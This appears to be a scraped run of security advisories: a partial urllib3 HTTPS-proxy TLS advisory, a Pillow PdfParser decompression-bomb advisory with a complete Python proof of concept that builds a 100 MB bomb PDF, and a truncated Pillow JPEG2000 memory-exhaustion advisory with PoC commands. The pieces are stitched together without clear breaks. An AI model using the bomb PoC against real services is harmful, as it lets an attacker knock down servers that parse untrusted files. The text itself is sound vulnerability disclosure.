client credentials are configured. urllib3 may apply these target-specific settings to the proxy TLS handshake. This may cause urllib3 to: - send SNI intended for the target server to the proxy; - verify the proxy using a hostname or certificate fingerprint intended for the target server; or - present a TLS client certificate intended for the target server to the proxy. Code connecting through a plain HTTP proxy does not establish a TLS connection to the proxy and is not affected by this issue. ## Remediation Upgrade to urllib3 2.8.0 or later. urllib3 2.8.0 independently applies the explicitly configuredproxy_ssl_contextand proxy-specific certificate assertions to the HTTPS proxy connection. Target-specific SNI, certificate assertions, and TLS client certificate parameters are no longer applied to the HTTPS proxy handshake. For backward compatibility, when an HTTPS proxy is used withuse_forwarding_for_https=Trueandproxy_ssl_contextis not provided, urllib3 2.8.0 continues to usessl_contextfor the TLS connection to the proxy. This configuration emits aFutureWarning. In urllib3 3.0, passingssl_contextwithuse_forwarding_for_https=Truefor an HTTPS proxy will raise an error. Applications should useproxy_ssl_contextto configure TLS for an HTTPS forwarding proxy. The fixes were implemented in commits b6447295fff7b38fdffc67e0df9712d60cef3cc3 and 07408cec79d1856d81bb42c74a904a24fdb9e465.Dependency issues not solved for Python 3.9
PdfParser.PdfStream.decode()in Pillow'sPdfParser.pycallszlib.decompress()with thebufsizeparameter set to the value of the PDF stream'sLengthfield, without any upper bound on the actual decompressed output size. Python'szlib.decompress()bufsizeargument is an initial output buffer hint, not a maximum size limit — the function will expand memory until the full decompressed result is produced. A crafted PDF containing a FlateDecode-compressed stream decompresses to 1 GB of memory from a ~950 KB file, causing server OOM termination or severe degradation in any application that usesPdfParserto read untrusted PDF files. ### DetailsPdfStream.decode()inpdfminer/PdfParser.pyreads the stream's declaredLength(orDL) field from the PDF dictionary and passes it asbufsizetozlib.decompress():python # PIL/PdfParser.py — PdfStream.decode() class PdfStream: def decode(self) -> bytes: try: filter = self.dictionary[b"Filter"] except KeyError: return self.buf if filter == b"FlateDecode": try: expected_length = self.dictionary[b"DL"] except KeyError: expected_length = self.dictionary[b"Length"] return zlib.decompress(self.buf, bufsize=int(expected_length)) # ^^^^^^^^^^^^^^^^^^^^^^^^^^^^ # bufsize is an *initial buffer hint*, NOT a maximum size limit. # zlib.decompress() allocates as much memory as needed regardless.From the Python documentation: "Thebufsizeparameter is used as the initial size of the output buffer." It does not cap decompression. An attacker who controls the PDF stream contents can provide a highly-compressed payload that expands to gigabytes, while settingLengthto any value (including the actual compressed size) to avoid triggering format validation.PdfParseris instantiated with a filename or file object and callsread_pdf_info()on open, which parses the xref table and makes stream objects accessible.PdfStream.decode()is reachable whenever calling code accesses a compressed stream object from the parsed PDF. Confirmed reachable path:python with PdfParser.PdfParser("evil.pdf") as pdf: stream_obj, _ = pdf.get_value(pdf.buf, stream_offset) data = stream_obj.decode() # ← OOM here### PoCpython import zlib, tempfile, os, time from PIL import PdfParser # Build a minimal PDF with a 100 MB FlateDecode bomb (demo scale) EXPAND_MB = 100 raw = b'\x00' * (EXPAND_MB * 1_000_000) compressed = zlib.compress(raw, level=9) # ~97 KB buf = b'%PDF-1.4\n' o1 = len(buf); buf += b'1 0 obj\n<< /Type /Pages /Kids [] /Count 0 >>\nendobj\n' o2 = len(buf); buf += b'2 0 obj\n<< /Type /Catalog /Pages 1 0 R >>\nendobj\n' o3 = len(buf) hdr = f'<< /Filter /FlateDecode /Length {len(compressed)} >>'.encode() buf += b'3 0 obj\n' + hdr + b'\nstream\n' + compressed + b'\nendstream\nendobj\n' xref = len(buf) buf += b'xref\n0 4\n0000000000 65535 f \n' for off in [o1, o2, o3]: buf += f'{off:010d} 00000 n \n'.encode() buf += b'trailer\n<< /Size 4 /Root 2 0 R >>\nstartxref\n' + str(xref).encode() + b'\n%%EOF\n' print(f"PDF size: {len(buf):,} bytes ({len(buf)/1024:.1f} KB)") with tempfile.NamedTemporaryFile(delete=False, suffix='.pdf') as f: f.write(buf); tmpname = f.name with PdfParser.PdfParser(tmpname) as pdf: obj, _ = pdf.get_value(pdf.buf, o3) t = time.time() decoded = obj.decode() print(f"Decoded: {len(decoded):,} bytes in {time.time()-t:.3f}s") os.unlink(tmpname)Actual output (Pillow 12.1.1, Python 3.12):PDF size: 97,538 bytes (95.3 KB) Decoded: 100,000,000 bytes in 0.265sMeasured expansion:src/libImaging/Jpeg2KDecode.c:853accumulatestotal_component_widthacross every tile in a JPEG2000 image instead of recomputing it per tile. That accumulated value is then used in thetile_bytescalculation atsrc/libImaging/Jpeg2KDecode.c:868, which can make the decoder growstate->bufferviareallocatsrc/libImaging/Jpeg2KDecode.c:876up to roughly one full image's decompressed size even when each tile is small. A crafted tiled JPEG2000 file can therefore force substantially higher transient memory usage and trigger out-of-memory failures during decoding. Based on current evidence, the supported impact is denial of service, not memory corruption. ### Details - Location:src/libImaging/Jpeg2KDecode.c:853- Root cause:total_component_widthis initialized only once before the tile loop and keeps growing across tiles. It is then used to derivetile_bytes, so later tiles are treated as if they had the combined component width of all earlier tiles. - Dangerous operation:tile_bytesis promoted intotile_info.data_size, thenstate->bufferis grown withreallocatsrc/libImaging/Jpeg2KDecode.c:876. - Reachability: any attacker-controlled JPEG2000 image with many tiles reaches this path during normalImage.open(...).load()decoding. ### PoC The attached helper script and testcase were used: exercise_j2k_tile_realloc.zip Generate the testcase:bash pythonexercise_j2k_tile_realloc.py make poc_3664_rgba_tile1832.jp2 \ --size 3664 --tile 1832Expected geometry from the helper: - image size:3664 x 3664- mode:RGBA- tile size:1832 x 1832(2x2tiles) -image_bytes=53699584- uncapped RSS observed: - vulnerable build:maxrss_kb=180264- fixed comparison build:maxrss_kb=138404Load it with the current vulnerable build:bash python exercise_j2k_tile_realloc.py load poc_3664_rgba_tile1832.jp2Load it again under a 160 MB address-space cap:bash python exercise_j2k_tile_realloc.py load poc_3664_rgba_tile1832.jp2 --limit-mb 160### Impact Conservative impact: denial of service through memory exhaust